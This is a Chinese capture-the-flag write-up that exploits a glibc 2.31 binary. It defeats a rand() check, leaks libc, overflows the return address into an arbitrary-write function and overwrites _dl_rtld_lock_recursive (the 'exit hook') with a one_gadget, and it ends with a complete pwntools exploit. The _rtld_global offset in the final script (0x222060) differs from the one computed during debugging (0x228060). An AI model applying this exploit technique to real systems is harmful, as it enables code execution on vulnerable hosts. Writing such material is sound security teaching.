从这道题学习exit hook的一种打法和查找偏移的方法
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; char buf[20 ]; unsigned int v6; unsigned int v7; unsigned int seed; myinit(argc, argv, envp); puts ("please enter this challenge" ); __isoc99_scanf("%d" , &v4); seed = time(0LL ); srand(seed); v7 = rand(); v6 = v7 % 0x6E ; if ( v7 % 0x6E == v4 ) { puts ("Give you a gift" ); gift(); puts ("Do you know any address to write" ); puts ("Come and try it out" ); read(0 , buf, 0x2E uLL); } return 0 ; }
main函数开头要我们绕过一个随机数检查才有输入点。gift函数会打印puts函数的libc地址,libc地址不请自来。接着read函数溢出14个字节,只能覆盖六个字节到ret地址,所以想要在这里写one gadget是不可能的了,因为libc地址占七个字节。
另外,题目有一个magic函数,可以进行任意地址写,并且只能读取八个字节,以exit退出:
1 2 3 4 5 6 7 8 9 void __noreturn magic () { void *buf; puts ("Congratulations on completing a big step" ); read(0 , &buf, 8uLL ); read(0 , buf, 8uLL ); exit (0 ); }
这个提示就很明显了,可以劫持exit@got或者劫持exit_hook写one gadget。
分析调试&出现的问题 随机数绕过 开头的随机数种子是time(0),题目给了libc附件,所以我们可以在python使用ctypes库来调用动态链接库函数来同步获取time(0),以获得相同的随机数。
1 2 3 4 5 from ctypes import *libcc = cdll.LoadLibrary('./libc-2.31.so' ) libcc.srand(libcc.time(0 )) ran_num = libcc.rand() % 0x6E r.sendlineafter(b"please enter this challenge\n" , str (ran_num).encode())
在打远程靶机的时候可能会因为时延而获取不到相同的随机数,多试几次就好了。
接收libc地址 1 2 3 4 r.recvuntil(b"Give you a gift\n" ) puts_addr = int (r.recv(14 ), 16 ) libc_base = puts_addr - libc.symbols['puts' ] log.success('libc_base:' +hex (libc_base))
溢出 溢出只溢出了六个字节,但是我们在这里的目的,是劫持程序执行流执行magic函数,获得任意地址写的机会。
这里需要注意一个问题,不要发超过六个字节。后面magic函数里是两个read,如果前面留下字节在输入流中,会被后面的read直接读取,导致意料之外的错误。另外就是最好是用send,sendline会引入多一个回车。
1 2 3 magic = 0x4012bd pay1 = b'a' *(0x20 + 8 ) + b'\xbd\x12\x40\x00\x00\x00' r.send(pay1)
任意地址写 这是这道题的核心,也是发现最多问题的地方。其实运气好的话可以不用那么曲折,不过遇到了问题可以学到更多东西,未尝不是一种好事。
我们在看一次magic函数的核心语句:
1 2 3 read(0 , &buf, 8uLL ); read(0 , buf, 8uLL ); exit (0 );
第一个read可以控制buf的地址,第二个read可以控制buf内容,妥妥的任意地址写。因为只有8个字节的空间,所以考虑劫持got表。有libc附件可以得到onegadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ one_gadget libc-2.31 .so 0xe3afe execve("/bin/sh" , r15, r12)constraints : [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b01 execve("/bin/sh" , r15, rdx)constraints : [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b04 execve("/bin/sh" , rsi, rdx)constraints : [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
劫持got表,但one gadget无效 然后利用下面的脚本来劫持exit@got
1 2 3 4 one = [0xe3afe , 0xe3b01 , 0xe3b04 ] r.recvuntil(b"Congratulations on completing a big step\n" ) r.send(p64(e.got['exit' ])) r.send(p64(libc_base+one[2 ]))
然后你会发现,打不通。动调,看看怎么个事
好家伙,rdx和r12都不为0,根本没法执行execve的onegadget,因为参数不匹配,所以syscall直接失效了,最后执行到__stack_chk_fail
的时候就会卡住:
我们没办法在仅有8个字节的read里解决寄存器问题,所以不得不放弃劫持got表,转战劫持exit hook。
劫持exit hook,但是被检测到栈溢出? 顺带一提,程序本身是没有开canary保护的,但是libc是有canary保护的,所以在执行one gadget的时候会执行到__stack_chk_fail也很正常。
要劫持exit hook ,我们要先找到当前版本下_rtld_global结构体的位置和对应_dl_rtld_lock_recursive的位置。我们用gdb打开程序(默认已经patchelf了),运行后中断,输入以下命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 pwndbg > p &_rtld_global$1 = (<data variable, no debug info> *) 0x7ffff7ffd060 <_rtld_global> pwndbg > vmmapLEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x3fe000 0x3ff000 rw-p 1000 0 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/pwn 0x400000 0x401000 r 0x401000 0x402000 r-xp 1000 3000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/pwn 0x402000 0x403000 r 0x403000 0x404000 r 0x404000 0x405000 rw-p 1000 5000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/pwn 0x7ffff7dd5000 0x7ffff7df7000 r 0x7ffff7df7000 0x7ffff7f6f000 r-xp 178000 22000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/libc-2.31 .so 0x7ffff7f6f000 0x7ffff7fbd000 r 0x7ffff7fbd000 0x7ffff7fc1000 r 0x7ffff7fc1000 0x7ffff7fc3000 rw-p 2000 1eb000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/libc-2.31 .so 0x7ffff7fc3000 0x7ffff7fc9000 rw-p 6000 0 [anon_7ffff7fc3] 0x7ffff7fc9000 0x7ffff7fcd000 r 0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso] 0x7ffff7fcf000 0x7ffff7fd0000 r 0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/ld-2.31 .so 0x7ffff7ff3000 0x7ffff7ffb000 r 0x7ffff7ffc000 0x7ffff7ffd000 r 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /mnt/d/software/CTF /PWN /pwnwork/2024sdpctf/magic_write/ld-2.31 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack] pwndbg > tele 0x7ffff7ffdf68 00 :0000 │ 0x7ffff7ffdf68 (_rtld_global+3848 ) —▸ 0x7ffff7fd0150 ◂— endbr6401 :0008 │ 0x7ffff7ffdf70 (_rtld_global+3856 ) —▸ 0x7ffff7fd0160 ◂— endbr6402 :0010 │ 0x7ffff7ffdf78 (_rtld_global+3864 ) ◂— 0x0 ... ↓ 2 skipped 05 :0028 │ 0x7ffff7ffdf90 (_rtld_global+3888 ) —▸ 0x7ffff7fe4140 (_dl_make_stack_executable) ◂— endbr6406 :0030 │ 0x7ffff7ffdf98 (_rtld_global+3896 ) ◂— 0x6 07 :0038 │ 0x7ffff7ffdfa0 (_rtld_global+3904 ) ◂— 0x1
命令当中tele那句只是为了确认0xf08处是否是_dl_rtld_lock_recursive,一般看到0x150和0x160结尾的一般就是了。小版本差异可能导致偏移不一致。
可以看到_rtld_global
的地址位于0x7ffff7ffd060,而libc基址位于0x7ffff7dd5000,又知_dl_rtld_lock_recursive
在结构体中的偏移位置一般是0xf08,所以计算器算一下就可以得到
1 2 3 _rtld_global = libc_base+0x228060 _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10
有了这些偏移,我们就可以劫持lock这个函数指针为onegadget,从而使程序执行exit的时候可以执行到onegadget,于是我使用下面的语句:
1 2 3 4 one = [0xe3afe , 0xe3b01 , 0xe3b04 ] r.recvuntil(b"Congratulations on completing a big step\n" ) r.send(p64(_dl_rtld_lock_recursive)) r.send(p64(libc_base+one[1 ]))
运行后发现被检测出来栈溢出了!
动调发现,还真是巧,执行exit函数的时候栈帧刚好和main函数的栈帧重叠了,而刚好输入的_dl_rtld_lock_recursive地址覆盖了rbp-0x8的位置。
往下单步到call execve前
可以发现,rsi最后指向0,但是rdx不为0。刚才提到这个问题,这会导致syscall失效,从而继续往下执行__stack_chk_fail,而后面rsp莫名奇妙变成了libc地址,栈不正常,从而被判断成有溢出。
如果细心一点会发现这时候r12是0,这意味着如果把one[1]换成one[0]这道题就可以结束了,但是我当时没发现,所以又折腾出了另一个问题。
劫持exit hook,但是只能用一遍 当时以为是exit函数栈帧与main函数重叠的原因(然而并不是)导致的栈溢出检测,想着能不能通过返回到类似sub rsp,20h这样的指令来抬高栈。所以我打算先劫持hook为0x4012C5(magic函数里的sub语句),返回magic再打hook为onegadget,发现虽然成功返回到了magic函数,并且不提示栈溢出了,但是也没打通。动调单步一直向下发现程序并没有执行到_dl_rtld_lock_recursive所指向的onegadget。比赛结束后问了xf1les师傅,翻了翻源码,发现这是exit函数有意为之的。
exit.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 switch (f->flavor) { void (*atfct) (void ); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); case ef_free: case ef_us: break ; case ef_on: onfct = f->func.on.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif onfct (status, f->func.on.arg); break ; case ef_at: atfct = f->func.at; #ifdef PTR_DEMANGLE PTR_DEMANGLE (atfct); #endif atfct (); break ; case ef_cxa: f->flavor = ef_free; cxafct = f->func.cxa.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (cxafct); #endif cxafct (f->func.cxa.arg, status); break ; }
exit.h:
1 2 3 4 5 6 7 8 enum { ef_free, ef_us, ef_on, ef_at, ef_cxa };
注释有讲到,为了避免dlclose/exit
争用两次调用cxafct
,所以在case ef_cxa后会将exit_function
结构体里的f->flavor
置为ef_free
,即设置为0。可以看到只有在ef_cxa的情况下才会对cxafct
做出处理,这个东西会转换成_dl_fini函数地址,这里不展开,简单来说就是在这个情况下才会执行到_dl_rtld_lock_recursive所指向的函数。
我们用下面这个payload简单动调验证一下打hook前后flavor的变化。
1 2 3 4 5 6 7 r.recvuntil(b"Congratulations on completing a big step\n" ) gdb.attach(r, 'b *exit \n b *0x4012f0' ) pause() r.send(p64(lock)) r.send(p64(0x4012bd ))
我们先单步到exit+27,不知道为什么pwndbg读取不到符号表,只能手动解释一下了。
此时程序准备call的函数其实就是run_exit_handlers
,此时的rsi是exit_funcs
指针,指向的是initial结构体。和这个结构体有关的数据结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static struct exit_function_list initial ;struct exit_function_list *__exit_funcs = &initial;struct exit_function_list { struct exit_function_list *next ; size_t idx; struct exit_function fns [32]; }; struct exit_function { long int flavor; union { void (*at) (void ); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; };
所以我们只要去看看0x7f46ee551ca0就能看到flavor了。如果有符号表,可以直接通过p *(struct exit_function_list *) 0x7f46ee551ca0
查看,这里我们用telescope。
1 2 3 4 5 6 7 pwndbg > telescope 0x7f46ee551ca0 00 :0000 │ 0x7f46ee551ca0 ◂— 0x0 01 :0008 │ 0x7f46ee551ca8 ◂— 0x1 02 :0010 │ 0x7f46ee551cb0 ◂— 0x4 03 :0018 │ 0x7f46ee551cb8 ◂— 0x895cab18d865f3a9 04 :0020 │ 0x7f46ee551cc0 ◂— 0x0 ... ↓ 3 skipped
可以看到0x10偏移处是4,也就是此时flavor是4,对应ef_cxa。
然后让程序运行到返回magic,再次查看
1 2 3 4 5 6 pwndbg > telescope 0x7f46ee551ca0 00 :0000 │ r15 0x7f46ee551ca0 ◂— 0x0 ... ↓ 2 skipped 03 :0018 │ 0x7f46ee551cb8 ◂— 0x895cab18d865f3a9 04 :0020 │ 0x7f46ee551cc0 ◂— 0x0 ... ↓ 3 skipped
此时flavor的位置是0,对应ef_free,那么接下来无论怎么改_dl_rtld_lock_recursive或者unlock,他都不会进入到对应的函数里去执行,而是执行exit_group直接退出。
虽然对这道题没什么卵用,但至少这个实验可以得出exit hook没法用两次的结论(
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level="debug" ) r = process('./pwn' ) e = ELF('./pwn' ) libcc = cdll.LoadLibrary('./libc-2.31.so' ) libc = ELF('./libc-2.31.so' ) rdi = 0x0401453 ret = 0x040101a one = [0xe3afe , 0xe3b01 , 0xe3b04 ] libcc.srand(libcc.time(0 )) ran_num = libcc.rand() % 110 sleep(0.1 ) r.sendlineafter(b"please enter this challenge\n" , str (ran_num).encode()) sleep(0.1 ) r.recvuntil(b"Give you a gift\n" ) puts_addr = int (r.recv(14 ), 16 ) libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh" )) _rtld_global = libc_base+0x222060 _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10 log.success(hex (libc_base)) log.success(hex (_dl_rtld_lock_recursive)) r.recvuntil(b"Come and try it out\n" ) payload = b'a' *(0x20 + 8 ) + b'\xbd\x12\x40\x00\x00\x00' r.send(payload) r.recvuntil(b"Congratulations on completing a big step\n" ) r.send(p64(_dl_rtld_lock_recursive)) r.send(p64(libc_base+one[0 ])) r.interactive()
参考链接 exit_hook攻击利用
exit函数利用
Glibc2.32源码分析之exit部分